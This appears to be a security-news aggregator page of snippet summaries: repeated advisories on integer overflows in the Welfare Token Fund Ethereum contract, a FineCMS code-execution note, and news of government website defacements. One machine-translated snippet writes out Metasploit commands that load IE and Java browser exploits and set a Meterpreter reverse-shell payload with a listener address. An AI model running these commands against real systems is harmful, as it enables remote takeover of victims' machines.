Welfare Token Fund has a flawed logic vulnerability

Welfare Token Fund WTF is an Ether-based digital currency. An integer overflow vulnerability exists in the 'sell' function in the smart contract implementation of WTF. An attacker could exploit the vulnerability to prevent the seller from accessing the assets due to the exchange...

Chernobyl’s lessons for critical-infrastructure cybersecurity

This story originally ran on The Parallax on April 26, 2019. CHERNOBYL EXCLUSION ZONE, Ukraine—The stray dog looking directly at me was hard to resist. Her ears perked up, her fur appeared clean—free of mange, at any rate—and she held a large stick firmly between her jaws. She looked like a good...

RSAC 2019: An Antidote for Tech Gone Wrong

SAN FRANCISCO – Tech innovation can move faster than its own good might dictate, often leaving the public interest as an afterthought. Take, for example, hot-button topics such as artificial intelligence, network neutrality and social network user privacy – and consider the ensuing debates. The...

Integer overflow

The mintToken function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value...

PT-2018-11891

Name of the Vulnerable Software and Affected Versions Welfare Token Fund WTF affected versions not specified Description The issue concerns an integer overflow in the mintToken function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token. This overflow allows the owne...

CVE-2018-13510: Integer Overflow or Wraparound

The mintToken function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value...

CVE-2018-13197

The sell function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow in which "amount sellPrice" can be zero, consequently reducing a seller's assets...

Integer overflow

The sell function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow in which "amount sellPrice" can be zero, consequently reducing a seller's assets...

CVE-2018-13197

The sell function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow in which "amount sellPrice" can be zero, consequently reducing a seller's assets...

CVE-2018-13197

CVE-2018-13197 concerns a flaw in the Welfare Token Fund (WTF) Ethereum smart contract. The sell function suffers an integer overflow where the expression "amount * sellPrice" can evaluate to zero, which can unintentionally reduce a seller’s assets. The issue is described in the NVD entry for thi...

PT-2018-11678

Name of the Vulnerable Software and Affected Versions Welfare Token Fund WTF affected versions not specified Description The issue concerns an integer overflow in the sell function of a smart contract implementation for an Ethereum token. Specifically, when amount sellPrice equals zero, it can le...

CVE-2018-13197: Integer Overflow or Wraparound

The sell function of a smart contract implementation for Welfare Token Fund WTF, an Ethereum token, has an integer overflow in which "amount sellPrice" can be zero, consequently reducing a seller's assets...

Code Execution Vulnerability in FineCMS v5.0.8 Public Interest Edition Backend

FineCMS v5.0.8 is a cms for small and medium-sized websites developed by SkyRay programming team. FineCMS v5.0.8 public welfare version of the background there is a code execution vulnerability, remote attackers can take advantage of the vulnerability to insert code, and the code can be parsed...

The New Year initial, Java break first 0day-vulnerability warning-the black bar safety net

1 1: The 0 0 UPDATE: MSF has been updated related to penetration testing module use exploit/windows/browser/iecbuttonuaf use exploit/multi/browser/javajre17jmxbean set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reversetcp set LHOST 192.168.178.26 exploit sysinfo getuid Mo...

Hackers deface Philippines Department of Environment website

Hackers incensed by the Philippines' controversial cybercrime law have attacked government sites that deliver emergency information during natural disasters. The website of the Department of Environment and Natural Resources DENR was hacked on Saturday, despite calls from Malacañang for a...

Internet freedom : Anonymous Brings Philippines Government Sites Offline

Hacker groups that are against the controversial Cybercrime Prevention Law for its effect on the country's freedom of expression defaced 11 more government websites since 11 p.m. Monday A message which said, "Hacked by M4N1L4 PR1D3, PHILIPPINE CYBER ARMY AND -=TheFamilyPride=-," appeared on the...

Indian Airforce : Placement Cell and Wives Welfare Association websites Hacked by TriCk ( TeaMp0isoN -ZHC )

Indian Airforce : Placement Cell and Wives Welfare Association websites Hacked by TriCk TeaMp0isoN -ZHC Statement given by Hacker "- Recently a indian hacker called Angel aka 4d0r4bl3 defaced a pakistani government site sending a warning message to ZHC & TeaMp0isoN, our reply: - We Deface for a...